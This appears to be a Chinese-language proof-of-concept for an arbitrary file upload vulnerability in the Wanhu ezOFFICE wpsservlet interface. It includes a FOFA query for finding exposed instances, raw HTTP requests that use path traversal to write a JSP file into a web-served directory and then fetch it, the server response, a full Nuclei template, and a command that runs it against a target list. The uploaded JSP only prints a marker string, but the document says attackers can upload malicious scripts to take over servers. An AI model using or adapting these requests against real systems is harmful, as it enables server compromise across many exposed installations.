万户ezoffice wpsservlet任意文件上传漏洞

app="万户网络-ezOFFICE"

POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Content-Length: 173Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Connection: closeContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerpDNT: 1Upgrade-Insecure-Requests: 1
--ufuadpxathqvxfqnuyuqaozvseiueerpContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
<% out.print("sasdfghjkj");%>--ufuadpxathqvxfqnuyuqaozvseiueerp--

GET /defaultroot/platform/portal/layout/apoxkq.jsp HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Connection: closeAccept-Encoding: gzip

HTTP/1.1 200 OKConnection: closeContent-Length: 8Content-Type: text/html;charset=UTF-8Date: Thu, 14 Dec 2023 10:09:01 GMTServer:Set-Cookie: OASESSIONID=5EEDBA408E9701666D626C0348D0A96B; Path=/defaultrootX-Frame-Options: SAMEORIGIN
sasdfghjkj

id: wanhu-ezoffice-wpsservlet-fileupload
info:  name: 万户ezoffice wpsservlet任意文件上传漏洞  author: fgz  severity: critical  description: 万户ezOFFICE协同管理平台是一个综合信息基础应用平台分为企业版和政务版。解决方案由五大应用、两个支撑平台组成，分别为知识管理、工作流程、沟通交流、辅助办公、集成解决方案及应用支撑平台、基础支撑平台。万户ezOFFICE协同管理平台wpsservlet接口存在任意文件上传。攻击者可上传恶意脚本文件获取服务器权限。  tags: upload,wanhu,2023,ezoffice  metadata:    fofa-query: app="万户网络-ezOFFICE"    verified: true    max-request: 1variables:  file_name: "{{to_lower(rand_text_alpha(5))}}"  file_content: "{{to_lower(rand_text_alpha(8))}}"  boundary: "{{to_lower(rand_text_alpha(32))}}"requests:  - raw:      - |-        POST /defaultroot/wpsservlet?option=saveNewFile&newdocId={{file_name}}&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3        Accept-Encoding: gzip, deflate        DNT: 1        Connection: close        Upgrade-Insecure-Requests: 1        Content-Type: multipart/form-data; boundary={{boundary}}        Content-Length: 200
        --{{boundary}}        Content-Disposition: form-data; name="NewFile"; filename="{{file_name}}.jsp"
        <% out.print("{{file_content}}");%>        --{{boundary}}--
      - |        GET /defaultroot/platform/portal/layout/{{file_name}}.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        Accept-Encoding: gzip    matchers-condition: and    matchers:      - type: word        part: body        words:          - '{{file_content}}'      - type: status        status:          - 200

nuclei.exe -t wanhu-ezoffice-wpsservlet-fileupload.yaml -l ezOFFICE.txt